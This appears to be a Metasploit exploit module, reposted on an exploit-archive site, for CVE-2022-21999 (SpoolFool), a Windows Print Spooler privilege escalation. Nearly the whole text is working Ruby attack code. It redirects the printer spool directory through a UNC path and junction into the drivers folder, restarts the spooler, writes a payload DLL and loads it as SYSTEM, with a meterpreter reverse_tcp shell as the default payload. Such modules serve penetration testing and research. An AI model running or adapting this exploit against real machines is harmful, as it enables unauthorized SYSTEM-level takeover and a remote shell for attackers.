Windows SpoolFool Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2022-21999 SpoolFool Privesc',
        'Description' => %q{
          The Windows Print Spooler has a privilege escalation vulnerability that
          can be leveraged to achieve code execution as SYSTEM.

          The `SpoolDirectory`, a configuration setting that holds the path that
          a printer's spooled jobs are sent to, is writable for all users, and it can
          be configured via `SetPrinterDataEx()` provided the caller has the
          `PRINTER_ACCESS_ADMINISTER` permission. If the `SpoolDirectory` path does not
          exist, it will be created once the print spooler reinitializes.

          Calling `SetPrinterDataEx()` with the `CopyFiles\` registry key will load the
          dll passed in as the `pData` argument, meaning that writing a dll to the `SpoolDirectory`
          location can be loaded by the print spooler.

          Using a directory junction and UNC path for the `SpoolDirectory`, the exploit
          writes a payload to `C:\Windows\System32\spool\drivers\x64\4` and loads it
          by calling `SetPrinterDataEx()`, resulting in code execution as SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Oliver Lyak', # Vuln discovery and PoC
          'Shelby Pace' # metasploit module
        ],
        'Platform' => [ 'win' ],
        'Arch' => ARCH_X64,
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [
            'Auto',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X64,
              'DefaultOptions' => {
                'Payload' => 'windows/x64/meterpreter/reverse_tcp',
                'PrependMigrate' => true
              }
            }
          ]
        ],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81'],
          [ 'CVE', '2022-21999']
        ],
        'DisclosureDate' => '2022-02-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => [ 'SpoolFool' ],
          'Stability' => [ CRASH_SERVICE_RESTARTS ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('PATH', [ true, 'Path to hold the payload', '%TEMP%' ]),
        OptInt.new('WAIT_TIME', [ true, 'Time to wait in seconds for spooler to restart', 5 ])
      ]
    )
  end

  def check
    s_info = sysinfo['OS']
    unless s_info =~ /windows/i
      return CheckCode::Safe('This module only supports Windows targets.')
    end

    _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')

    case s_info
    when /windows 7/i
      return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.')
    when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter
      return CheckCode::Appears if build <= 18362
      return CheckCode::Appears if revision < 1526
    end

    CheckCode::Safe
  end

  def winspool
    session.railgun.winspool
  end

  def spoolss
    session.railgun.spoolss
  end

  def advapi32
    session.railgun.advapi32
  end

  def get_printer_name
    if target_is_server?
      return "#{get_default_printer}\x00"
    end

    "#{Rex::Text.rand_text_alpha(5..12)}\x00"
  end

  def target_is_server?
    s_info = sysinfo['OS']

    s_info =~ /server/i || s_info =~ /\d{4}\+/
  end

  # Windows usually has Print to PDF or XPS Document Writer
  # available by default
  def get_default_printer
    xps = 'Microsoft XPS Document Writer'
    pdf = 'Microsoft Print to PDF'

    local_const = session.railgun.const('PRINTER_ENUM_LOCAL')
    ret = winspool.EnumPrintersA(
      local_const,
      nil,
      1,
      nil,
      0,
      8,
      8
    )

    unless ret['pcbNeeded'] > 0
      fail_with(Failure::UnexpectedReply, 'Failed to determine bytes needed for enumerating printers.')
    end

    bytes_needed = ret['pcbNeeded']
    ret = winspool.EnumPrintersA(
      local_const,
      nil,
      1,
      bytes_needed,
      bytes_needed,
      8,
      8
    )

    fail_with(Failure::UnexpectedReply, 'Failed to enumerate local printers.') unless ret['return']
    printer_struct = ret['pPrinterEnum']

    return xps if printer_struct.include?(xps)
    return pdf if printer_struct.include?(pdf)
  end

  def get_driver_name
    if @printer_name.include?('XPS') || !target_is_server?
      return "Microsoft XPS Document Writer v4\x00"
    end

    "Microsoft Print To PDF\x00"
  end

  # packs struct according to member types and data
  def get_printer_info_struct
    server_name = "#{Rex::Text.rand_text_alpha(5..12)}\x00"
    port_name = "LPT1:\x00"
    driver_name = get_driver_name
    print_proc_name = "winprint\x00"
    p_datatype = "RAW\x00"

    print_strs = "#{server_name}#{@printer_name}#{port_name}#{driver_name}#{print_proc_name}#{p_datatype}"
    base = session.railgun.util.alloc_and_write_string(print_strs)

    fail_with(Failure::UnexpectedReply, 'Failed to allocate strings for PRINTER_INFO_2 structure.') unless base

    print_info_struct = [
      base + print_strs.index(server_name),
      base + print_strs.index(@printer_name), 0,
      base + print_strs.index(port_name),
      base + print_strs.index(driver_name), 0, 0, 0, 0,
      base + print_strs.index(print_proc_name),
      base + print_strs.index(p_datatype), 0, 0,
      client.railgun.const('PRINTER_ATTRIBUTE_LOCAL'),
      0, 0, 0, 0, 0, 0, 0
    ]

    # https://docs.microsoft.com/en-us/windows/win32/printdocs/printer-info-2
    print_info_struct.pack('QQQQQQQQQQQQQLLLLLLLL')
  end

  def add_printer
    struct = get_printer_info_struct
    fail_with(Failure::UnexpectedReply, 'Failed to create PRINTER_INFO_2 STRUCT.') unless struct

    ret = winspool.AddPrinterA(nil, 2, struct)
    fail_with(Failure::UnexpectedReply, ret['ErrorMessage']) if ret['GetLastError'] != 0

    print_good("Printer #{@printer_name} was successfully added.")
    ret['return']
  end

  def set_spool_directory(handle, spool_dir)
    print_status("Setting spool directory: #{spool_dir}")
    ret = set_printer_data(handle, '\\', 'SpoolDirectory', spool_dir)

    unless ret['GetLastError'] == 0
      fail_with(Failure::UnexpectedReply, 'Failed to set spool directory.')
    end
  end

  def restart_spooler(handle)
    print_status('Attempting to restart print spooler.')
    term_path = 'C:\\Windows\\System32\\AppVTerminator.dll'
    ret = set_printer_data(handle, 'CopyFiles\\', 'Module', term_path)
    unless ret['GetLastError'] == 0
      fail_with(Failure::UnexpectedReply, 'Failed to terminate print spooler service.')
    end
  end

  def set_printer_data(handle, key_name, value_name, config_data)
    winspool.SetPrinterDataExA(handle,
                               key_name,
                               value_name,
                               REG_SZ,
                               config_data,
                               config_data.length)
  end

  # set read / execute permissions on dll
  # first get the security info in order to modify it
  # and pass back to SetNamedSecurityInfo()
  def set_perms_on_payload
    obj_type = session.railgun.const('SE_FILE_OBJECT')
    sec_info = session.railgun.const('DACL_SECURITY_INFORMATION')
    ret = advapi32.GetNamedSecurityInfoA(
      @payload_path,
      obj_type,
      sec_info,
      nil,
      nil,
      8,
      nil,
      8
    )

    unless ret['return'] == 0
      fail_with(Failure::UnexpectedReply, 'Failed to get payload security info.')
    end

    ret = advapi32.BuildExplicitAccessWithNameA(
      '\x00' * 48,
      'SYSTEM',
      session.railgun.const('GENERIC_ALL'),
      session.railgun.const('GRANT_ACCESS'),
      session.railgun.const('NO_INHERITANCE')
    )

    ea_struct = ret['pExplicitAccess']
    if ea_struct.empty?
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve EXPLICIT_ACCESS structure.')
    end

    ret = advapi32.SetEntriesInAclA(1, ea_struct, nil, 8)
    fail_with(Failure::UnexpectedReply, "Failed to create new ACL: #{ret['GetLastError']}") if ret['return'] != 0

    # need to first access pointer to the new acl
    # in order to read the acl's header (8 bytes) to determine
    # size of entire acl structure
    new_acl_ptr = ret['NewAcl'].unpack('Q').first
    acl_header = session.railgun.util.memread(new_acl_ptr, 8)

    # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-acl
    acl_mems = acl_header.unpack('CCSSS')
    struct_size = acl_mems&.at(2)

    unless struct_size
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve size of ACL structure.')
    end

    acl_struct = session.railgun.util.memread(new_acl_ptr, struct_size)
    ret = advapi32.SetNamedSecurityInfoA(
      @payload_path,
      obj_type,
      sec_info,
      nil,
      nil,
      acl_struct,
      nil
    )

    fail_with(Failure::UnexpectedReply, 'Failed to set permissions on payload.') if ret['return'] != 0
    print_status('Payload should have read / execute permissions now.')
  end

  def open_printer
    print_ptr = session.railgun.util.alloc_and_write_string('RAW')
    lp_default = [ print_ptr, 0, session.railgun.const('PRINTER_ACCESS_ADMINISTER') ]
    lp_default_struct = lp_default.pack('QQS')

    winspool.OpenPrinterA(@printer_name, 8, lp_default_struct)
  end

  def dir_path
    datastore['PATH']
  end

  def count
    datastore['WAIT_TIME']
  end

  def to_unc(path)
    path.gsub('C:', '\\\\\localhost\\C$')
  end

  def write_and_load_dll(handle)
    payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.dll"
    payload_data = generate_payload_dll
    @payload_path = "#{@v4_dir}\\#{payload_name}"
    register_file_for_cleanup(@payload_path)
    register_dir_for_cleanup(@v4_dir)

    print_status("Writing payload to #{@payload_path}.")
    unless write_file(@payload_path, payload_data)
      fail_with(Failure::UnexpectedReply, 'Failed to write payload.')
    end

    print_status('Attempting to set permissions for payload.')
    set_perms_on_payload
    set_printer_data(handle, 'CopyFiles\\', 'Module', @payload_path)
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

    unless session.arch == ARCH_X64
      fail_with(Failure::BadConfig, 'This exploit only supports x64 sessions')
    end

    @printer_name = get_printer_name
    tmp_dir = Rex::Text.rand_text_alpha(5..12)
    tmp_path = expand_path("#{dir_path}\\#{tmp_dir}")

    # the user name may get truncated which won't work
    # when setting the UNC path
    dirs = tmp_path.split('\\')
    if dirs.index('Users')
      full_uname = client.sys.config.getuid.split('\\').last
      dirs[dirs.index('Users') + 1] = full_uname
      tmp_path = dirs.join('\\')
    end

    print_status("Making base directory: #{tmp_path}")
    unless mkdir(tmp_path)
      fail_with(Failure::NoAccess,
                'Permissions may be insufficient.' \
                'Consider choosing a different base path for the exploit.')
    end

    handle = nil
    if target_is_server?
      ret = open_printer
      fail_with(Failure::UnexpectedReply, 'Failed to open default printer.') unless ret['return']
      handle = ret['phPrinter']
    else
      handle = add_printer
    end

    driver_dir = 'C:\\Windows\\System32\\spool\\drivers\\x64'
    @v4_dir = "#{driver_dir}\\4"
    fail_with(Failure::NotFound, 'Driver directory not found.') unless directory?(driver_dir)

    # if directory already exists, attempt the exploit
    if directory?(@v4_dir)
      print_status('v4 directory already exists.')
    else
      set_spool_directory(handle, to_unc("#{tmp_path}\\4"))
      print_status("Creating junction point: #{tmp_path} -> #{driver_dir}")
      junction = create_junction(tmp_path, driver_dir)
      fail_with(Failure::UnexpectedReply, 'Failed to create junction point.') unless junction

      # now restart spooler to create spool directory
      print_status('Creating the spool directory by restarting spooler...')
      restart_spooler(handle)
      print_status("Sleeping for #{count} seconds.")
      Rex.sleep(count)

      ret = open_printer
      unless ret['return']
        fail_with(Failure::Unreachable, 'The print spooler service failed to start.')
      end

      handle = ret['phPrinter']
      unless directory?(@v4_dir)
        fail_with(Failure::UnexpectedReply, 'Directory was not created.')
      end

      print_good('Directory was successfully created.')
    end

    write_and_load_dll(handle)
  ensure
    if handle && !target_is_server?
      spoolss.DeletePrinter(handle)
    end

    spoolss.ClosePrinter(handle) unless handle.nil?
  end
end

Copyright ©2024 Exploitalert.